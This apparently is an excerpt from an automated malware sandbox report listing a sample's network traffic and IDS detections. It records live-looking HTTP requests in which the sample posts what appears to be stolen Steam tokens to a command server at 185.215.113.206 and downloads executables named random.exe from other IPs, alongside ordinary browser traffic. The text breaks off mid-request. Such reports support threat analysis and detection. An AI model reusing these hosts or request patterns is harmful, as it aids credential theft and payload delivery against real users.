4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="file"------EHDHIDAEHCFHJJJJECAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="message"ybncbhylepme------IJDHDGDAAAAKFIDGHJDG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEGCFCAKFHCGCBFHCGHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 37 37 37 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02777B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49750 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49837 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:56435 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB7CC60 PR_Recv,

0_2_6CB7CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2NMxG4bFyKgHpsB&MD=vR+XuAHf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.4a2a9ed8240d3004231b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.070b7e2c0c11bf3433e5.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.80ecb7588d9cda3b33a1.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733076707&P2=404&P3=2&P4=kVI77nE54YXSm0zQJmsBtYPAISwsuGdpi%2bHNo%2fivdWwiQMsSRH7zxFYx0FjJ1sGR%2b1nCxM4tskugYnRQLsbVtg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: CbYtbpM9QWmNzwM+FOoFgESec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732471915192&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1F3CC8AC76826FD52AA3DDED77AB6EB5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=477706E2E3824BFEB5EF182FCAD13ED3&RedC=c.msn.com&MXFR=1F3CC8AC76826FD52AA3DDED77AB6EB5 HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: 2BAF25C811310AF18BF35427EE7F36133E8C777D9E1FD355A4F402C805019081Sec-MS-GEC-Version: 1-117.0.2045.47Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: 